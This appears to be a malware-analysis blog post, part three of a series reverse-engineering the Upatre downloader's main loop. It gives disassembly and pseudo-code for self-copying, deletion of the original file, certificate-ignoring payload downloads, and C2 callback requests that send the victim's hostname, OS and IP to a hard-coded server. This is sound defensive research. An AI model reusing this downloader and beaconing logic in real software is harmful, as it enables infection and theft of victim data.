Win32/Upatre.BI - Part Three
Main Loop- June 16, 2015
- reverse engineering
- malware analysis upatre
- no comments
- Overview of the Main Loop
- Preparation Tasks
- Hostname
- OS Version Information
- Copy Executable to Temp Folder
- Deleting the Original Executable
- Initializing the Internet Connection
- Target Loop
- Get Next Target
- InternetConnect
- HttpOpenRequest
- HttpSendRequest and InternetReadFile
- Handle the Response
- C2 Callbacks
- Regular Callback
- Error Callback
For more information about the malware in this blog post see the Malpedia entry on Upatre.
- Part 1: Unpacking (June 10, 2015)
- Part 2: Config (June 14, 2015)
- Part 4: Payload Format (June 20, 2015)
This blog post analyzes the core routine of Upatre. It is covered in only one of my four parts on Upatre, because it honestly doesn’t do much. The ultimate goal of Upatre is to download second stage payload, which will do the real damage.
As already touched on at the discussion of Upatre’s configuration, there is a list of targets which the malware contacts, more or less, one after another. The first of the targets (denoted by “client ip” in the config listings) is used to determine the client IP. The remaining targets (“download x”) host the second stage payload. Apart from the list of targets, Upatre has one hard coded server (“C2 server”:“port”) which is used to give feedback about the victim’s machine and the wellbeing of Upatre.
This article covers the following topics:
- A simplified flow chart of Upatre’s main loop.
- The main steps in pseudo-code, trying to be as close to the actual Windows API calls as possible.
- The format and meaning of the C2 callbacks.
What happens when Upatre is able to download payload from one of its preconfigured download servers will be the topic of the next and final part of this series on Upatre.
Overview of the Main Loop
The following illustration summarizes the course of action. Some details, as well as some error handling, are omitted.
Preparation Tasks
This section is about the upper half of the flow chart before the main loop. Upatre first resolves the global offsets. Then it parses the configuration data with subroutine decrypt_strings_and_get_os_infos
at offset 0x14 into the .text section. See the previous part for an explanation of these two steps. Still inside decrypt_strings_and_get_os_infos
, Upatre also determines some victim information.
Hostname
The following snippet determines the netBIOS hostname of the victim’s client, and surrounds the name with forward slashes:
.text:0040109A call [ebp+64h+fetch_and_advance]
.text:0040109D mov [ebp+64h+computer_name_slashed], eax
.text:004010A0 mov edi, eax
.text:004010A2 mov al, '/'
.text:004010A4 stosb
.text:004010A5 xor eax, eax
.text:004010A7 stosb
.text:004010A8 mov al, 200
.text:004010AA lea esi, [ebp+64h+os_info_slashed]
.text:004010AD mov [esi], eax
.text:004010AF push esi
.text:004010B0 push edi
.text:004010B1 call [ebx+imports.GetComputerNameW]
.text:004010B7 lodsd
.text:004010B8 lea edi, [edi+eax*2]
.text:004010BB mov al, '/'
.text:004010C0 stosb
The resulting Unicode string is for example:
debug038:02655D14 unicode 0, </VICTIM-COMPUTER/>,0
OS Version Information
Upatre also determines the operating system version and service pack level by calling GetVersionExW
. The resulting OSVERSIONINFOEXW structure is converted into the following compact string format:
/<major><minor>[SER][-SP<service_pack_major>/
where
<major>
and<minor>
denote thedwMajorVersion
anddwMinorVersion
fields respectively. For example “61” for Windows 7 and “51” for Windows XP. Upatre can’t properly handle version numbers greater than 9: on Windows 10 it turns the version information into “:1”.["SER"]
: if thewProductType
is 1, i.e.,VER_NT_WORKSTATION
, then this field is omitted, Otherwise the string “SER” is appended.[-SP<service_pack_major>]
: If thewServicePackMajor
value is non-zero (meaning a service pack is installed), then the string “-SP” followed by the service pack number is appended.
For example, on Windows Server 2012 with Service Pack 1 the OS information string is 62SER-SP1.
Copy Executable to Temp Folder
Upatre hides in the Temp-Folder of Windows. The target filename comes from the list of decrypted strings. The name of some samples is listed in the previous post (under the label “malware name”). Upatre checks whether it has already been copied by the existence of temp file, which is also stored in the temp folder. The names again comes from the config (“temp file”).
If the temp file does not exist, which means Upatre is run for the first time, then the exe is copied to the new location in the temp folder. Upatre also creates the temp file and writes the current module path to the file. The copy is then executed and the current process terminates:
GetTempPathW(.., tmp_folder)
tmp_file = tmp_folder + "/" + get_decrypted_string_by_index(8)
hTmp = CreateFileW(tmp_file, GENERIC_READ, ... , OPEN_EXISTING, ...)
IF hTmp == INVALID_HANDLE_VALUE THEN //// no temp file ///////////////////
// create the tmp file
DO
GetModuleFileName(0, module_path);
hTmp = CreateFileW(tmp_file, GENERIC_WRITE, ..., CREATE_ALWAYS, ...)
WHILE hTmp == INVALID_HANDLE_VALUE
// write the module path to the temp file
WriteFile(hTmp, module_path, ...)
CloseHandle(hTmp)
// get the new exe path by joining %Temp% with the configured exe name
GetTempPath(..., tmp_folder)
exe_file = tmp_folder + "/" + get_decrypted_string_by_index(7)
// open the exe at the current location and read content
DO
hModule = CreateFileW(module_path, GENERIC_READ, ... ,OPEN_EXISTING , ...)
WHILE hModule == INVALID_HANDLE_VALUE
module_file_size = GetFileSize(hModule, ...)
ReadFile(hModule, module_content, module_file_size, ...)
// copy content to new exe, run it, exit this process
hExe = CreateFileW(exe_file, GENERIC_WRITE, ..., CREATE_ALWAYS, ...)
IF hExe THEN
WriteFile(hExe, module_content, module_file_size, ...);
CloseHandle(hModule)
CloseHandle(hExe)
CreateProcessW(0, exe_file, ...)
END IF
ExitProcess(0)
Deleting the Original Executable
The process launched from the new path will again perform the initialization steps. This time the temp file exists and Upatre reads its content. It also checks the length of the content: if it is greater than 0x403, i.e., 515 Unicode characters, then the content is too long to be the path to the original exe. Upatre instead assumes that the temp file must contain downloaded second stage payload and enters the download handler (subject of the fourth part of this blog series):
ELSE
// read content of temp file
file_size_of_log_file = GetFileSize(hTmp, ...)
DO
r = ReadFile(hTmp, tmp_content, ..., tmp_size, ...)
WHILE r == INVALID_HANDLE_VALUE
// if file is large, then it must be payload -> go to DOWNLOAD_HANDLER
IF tmp_size > 0x406 THEN
goto DOWNLOAD_HANDLER;
END IF
If, however, the content length is smaller than 0x406, then Upatre treats the content as the path to the original executable and tries to delete it up to 32 times, sleeping one second after each attempt:
CloseHandle(hTmp)
// try to delete the original exe
REPEAT 32 TIMES
IF DeleteFileW(tmp_content)
BREAK
SleepEx(1 sec, ...)
END REPEAT
Initializing the Internet Connection
The last step before entering the main loop is to initialize the internet connection. The user-agent and the accept-types are retrieved from the list of encrypted strings. Upatre also initializes the sleep timer to 10 seconds:
// initialize internet connection
DO
user_agent = get_decrypted_string_by_index(6) // user agent;
hInternetOpen = InternetOpenW(InternetConnect, 0, 0, 0, 0)
WHILE ( !hInternetOpen )
accept_types = get_decrypted_string_by_index(3);
accept_types_2 = get_decrypted_string_by_index(4);
sleep_timer = 10 secs
encrypted_ip = ""
target_nr = -1;
rounds = 0
Target Loop
After the preparation tasks, Upatre starts looping over its targets until it manages to download a viable second stage payload.
Get Next Target
The loop starts by getting the next target number. If the end of the target list is reached, then the rounds
-counter is increased. Depending on how many rounds passed (meaning how many times Upatre went through the target list), different actions are taken:
- If 5 or less rounds passed: Upatre sleeps according to
sleep_timer
, e.g., 10 seconds. Then a 0x2901 C2 callback is made withsend_user_infos
. Details of C2 callbacks follow later. - If 5 to 10 rounds passed: Upatre also sleeps as specified by
sleep_timer
, but does not make C2 callbacks. - If 10 or more rounds passed: Upatre resets the
rounds
counter to 0, increases thesleep_timer
by 8 seconds, and then sleeps for 10 minutes. This way the sleep timer grows by 8 seconds every 10 rounds.
Upatre also resets the target number to 0 if the client ip is not yet known, and 1 otherwise. Finally, the server name field of the target, i.e., the second field, is checked: if it is -1, then the target is skipped and the next target is considered. Once a target is found, then potentially open network handles are closed. The following pseudo-code snippet shows the steps to get the next target number:
DO
target_nr++
IF target_nr == nr_of_targets // end of target list
rounds++
sleep = sleep_timer;
skip_c2 = FALSE
IF rounds > 5 THEN
skip_c2 = TRUE
IF rounds > 10 THEN
rounds = 0
sleep_timer += 8 secs
sleep = 10 minutes
END IF
END IF
SleepEx(sleep, 1)
// send feedback to C2 with code 0x2902
IF skip_c2 == FALSE THEN
send_user_infos(0x2902)
END IF
// reset to first or second target
IF client ip known THEN
target_nr = 1
ELSE
target_nr = 0
END IF
END IF
server = target[target_nr].server
WHILE server == -1
// close previous handles
IF hInternetTarget THEN
InternetCloseHandle(hInternetTarget)
hInternetTarget = NULL
END IF
IF hHttpRequestHandle THEN
InternetCloseHandle(hHttpRequestHandle)
hHttpRequestHandle = NULL
END IF
InternetConnect
First the connect timeout is set to four seconds:
// set timeout to 4 seconds
InternetSetOptionW(hInternetOpenHandle, INTERNET_OPTION_CONNECT_TIMEOUT,
4 secs, ...);
Then Upatre tries to InternetConnect
to the target. As already noted in the previous blog post, the first target number is special; it is used to determine the IP of the client and not like the other targets to download second stage payload. The first target is also the only target that uses HTTP, the download locations use HTTPS. For the InternetConnect
this implies the port needs to be set accordingly.
The first round is special too. Instead of tackling the target number 1, i.e., the first download target, Upatre randomizes the target number. It only does this once. All subsequent rounds use the full set of download targets.
Upatre tries three times to connect to the target. If all three attempts fail, then the next target is attempted.
retries = 3
DO
// the first target is http, the rest https
IF target_nr == 0
port = 80
ELSE
port = 443
END IF
// if target_nr is 1, then shuffle target
IF target_nr == 1 and first_round THEN
first_round = FALSE
target_nr = GetTickCount() % nr_of_targets
IF target_nr == 0 THEN
target_nr = 1
END IF
END IF
server = get_decrypted_string_by_index(target[target_nr].server)
hInternetTarget = InternetConnectW(hInternetOpenHandle, server, port,
..., INTERNET_SERVICE_HTTP, ...)
retries--
WHILE retries AND hInternetTarget == NULL
// if failed, continue with next IP
IF NOT hInternetTarget
CONTINUE
END IF
HttpOpenRequest
Upatre then tries — again three times — to open a HTTP request for the target. The first target, due to not being HTTPS, does not receive certain options. Note that although the download locations use HTTPS, the certificates are no validated.
retries = 3
DO
flags = INTERNET_FLAG_RELOAD
// all except the first target are https
IF target_nr > 0
flags ^= INTERNET_FLAG_SECURE ^
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID ^
INTERNET_FLAG_IGNORE_CERT_CN_INVALID ^
END IF
// hardcoded accept types and target path
accept_type = get_decrypted_string_by_index[3] +
get_decrypted_string_by_index[4]
path = target[target_nr].path
// make request
hHttpRequestHandle = HttpOpenRequestW(hInternetTarget, "GET", path, ...,
accept_types, flags)
retires---
WHILE retries AND hHttpRequestHandle == NULL
// if failed, continue with next IP
IF NOT hHttpRequestHandle
CONTINUE
END IF
// all except first target are https
IF target_nr > 0 THEN
InternetSetOptionW(hHttpRequestHandle, INTERNET_OPTION_SECURITY_FLAGS,
SECURITY_FLAG_IGNORE_UNKNOWN_CA, ...);
END
HttpSendRequest and InternetReadFile
Upatre then tries twice to send the HTTP request to the server. The timeouts are set to 30 seconds.
// set timeout to 30 seconds -> longer because downloading file
InternetSetOptionW(hHttpRequestHandle, INTERNET_OPTION_RECEIVE_TIMEOUT, 30 secs)
InternetSetOptionW(hHttpRequestHandle, INTERNET_OPTION_CONNECT_TIMEOUT, 30 secs)
// try twice to send the HTTPRequest
retries = 2
DO
r = HttpSendRequestW(hHttpRequestHandle, ...)
retries--
WHILE retries > 0 AND NOT r
// if failed, continue with next IP
IF NOT r
CONTINUE
END IF
Then the response is read:
// read response
total_read = 0
http_response = []
WHILE TRUE
IF InternetReadFile(hHttpRequestHandle, &buffer, 2 MB, &read) == NULL
BREAK
END IF
total_read += read
http_response += buffer
IF read == 0
BREAK
END IF
END WHILE
Handle the Response
Upatre considers the target’s response a second stage payload, if the size is more than 150'070 bytes. In those cases it writes the content to the temp file and invokes the download handler, which is the topic of the next part of this blog series:
IF total_read > 0x24A36
hTmp = CreateFileW(tmp_file, GENERIC_WRITE, ..., CREATE_ALWAYS)
IF hTmp == INVALID_HANDLE_VALUE
ExitProcess(0)
END IF
WriteFile(hTmp, http_response, ...)
CloseHandle(hTmp)
tmp_content = http_response
GOTO DOWNLOAD_HANLDER
A smaller response signifies a failed download of payload if the target number was not zero, and Upatre makes a C2 callback with error code 0x2902. If, however, the target number is zero and used to get the IP of the client, then a small response is expected. If Upatre doesn’t already know the client’s IP, then it considers the returned content to be the IP without sanity checking whatsoever. The IP is obfuscated by shifting all ASCII codes up 20 places:
ELSE
IF target_nr == 0 AND encrypted_ip == ""
// if target is 0 and client ip is not yet know
FOR letter IN http_response DO
IF letter == '.' OR '0' <= letter <= '9'
encrypted_ip += (letter + 20)
ELSE
BREAK
END IF
END FOR
// get C2 server and port from config strings
// and random value to port
port = get_decrypted_string_by_index(3) -> port
port += GetTickCount() % 4
server = get_decrypted_string_by_index(9) -> c2 server
hInternetC2 = InternetConnectW(hInternetOpenHandle, server, port,
..., INTERNET_SERVICE_HTTP, ...)
// send user infos with argument 0
send_user_infos(0, hInternetC2)
ELSE
// if download of malware failed, send code 0x2902
send_user_infos(0x2902, hInternetC2)
END IF
CONTINUE
END IF
C2 Callbacks
Finally, let’s have a look at the C2-callbacks. These callback are made in two cases:
- To report back the victims operating system, hostname and IP.
- To report back errors, for instance when all targets are exhausted without finding a valid IP.
All C2 callbacks are made to the same target, which is hard-coded in the list of encrypted strings. I labelled the C2’s IP address “C2 server” in the listing of config files in the previous posts. The destination port is also determined based on a hard-coded value (“port” in the config listing). Upatre adds some randomness to this port by calling GetTickCount and taking the result modulo 4. A connection to the server and port is prepared by calling InternetConnect, and the resulting handle is passed to the send_user_info
subroutine, along with the current target number and an error code:
port = get_decrypted_string_by_index(3) -> port
port += GetTickCount() % 4
server = get_decrypted_string_by_index(9) -> c2 server
hInternetC2 = InternetConnectW(hInternetOpenHandle, server, port,
..., INTERNET_SERVICE_HTTP, ...)
// send user infos with argument 0
send_user_infos(0, hInternetC2)
An error code of 0, as in the previous example, represents the first use case, where information about the victim is sent to the C2 server. All other error codes are used in the second case, i.e., when something went wrong.
- 0x2901: list of targets exhausted.
- 0x2902: errors related to the HTTP response, meaning it is either too short or corrupt. The later case is part of the download handler and the topic of the next part of the blog series.
- 0x2904: means the HTTP response could be decrypted correctly, but the check key does not match or the payloads does not contain an executable. Again this will be discussed in the next blog post.
The format of the C2-callbacks differs between the regular callback and the error reporting.
Regular Callback
The callback in non error cases has the following format:
GET http://<C2 server>:<rand-port>/<id>/<hostname>/0/<os-info>/0/<obfuscated-ip>
User-Agent: <user-agent>
With the fields being:
<C2 server>
: the hard-coded C2 server<rand-port>
: the randomized port, i.e.,<port> + GetTickCount() % 4
<id>
: the root directory for the target, listed after “id =” in the config listings.<hostname>
: the netBIOS hostname of the client, as determined indecrypt_strings_and_get_os_infos
.<os-info>
: the operating system and service pack level, see Preparation Tasks.<obfuscate-ip>
: the obfuscated IP, i.e., the client’s IP with every ASCII character shifted up 20 places.
For example
GET http://91.211.17.201:13381/PS21/VICTIM-COMPUTER/0/61-SP1/0/EFGBHIBJKBLM HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 91.211.17.201:13380
Pragma: no-cache
Where “EFGBHIBJKBLM” represents the IP 123.45.67.89.
Error Callback
The error callbacks are a little weird, because many Upatre implementations contain a swprintf
-bug. I first show how the callbacks are supposed to look like. Then I show what is actually sent for my sample. Here is the desired callback format:
GET http://<C2 server>:<rand-port>/<id>/<hostname>/41/<error-code & 0xFF>/<target-nr>/<obfuscated-ip>
User-Agent: <user-agent>
With the new fields being:
<error-code & 0xFF>
: the lower byte of the error code, for example 2 for 0x2902.<target-nr>
: the current target number, e.g., the target that caused the error.
For error code 0x2904, the intended C2 callback could looks as follows:
GET http://91.211.17.201:13382/PS21/VICTIM-COMPUTER/41/4/7/EFGBHIBJKBLM
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 91.211.17.201:13380
Pragma: no-cache
Which would mean to the C2 operator that target number 7 delivered an executable that wasn’t corrupt, but failed the check-key-validation (see next blog post).
Upatre uses the swprintf library call to format the target number into a string. Unfortunately, the authors messed up the parameter order. As a result not only is the target number not appended, but the string is also not properly zero terminated. And because the HTTP GET target is always written to the same memory location, this means that the previous string is mangled in. Here is an example:
previous path: /PS21/VICTIM-COMPUTER/0/61-SP1/0/EFGBHIBJKBLM
new path: /PS21/VICTIM-COMPUTER/41/2/
result: /PS21/VICTIM-COMPUTER/41/2/SP1/0/EFGBHIBJKBLM
or
previous path: /PS21/VICTIM-COMPUTER/0/52/0/EFGBHIBJKBLM
new path: /PS21/VICTIM-COMPUTER/41/2/
result: /PS21/VICTIM-COMPUTER/41/2/0/EFGBHIBJKBLM
Upatre doesn’t expect or read a response from the C2 server. It just continues running the main loop until it finds a valid payload. The format of the payload, how to decrypt the payload (even without knowing the keys), and an example of how payloads are handled will be the topic of the next — and last — part of this series.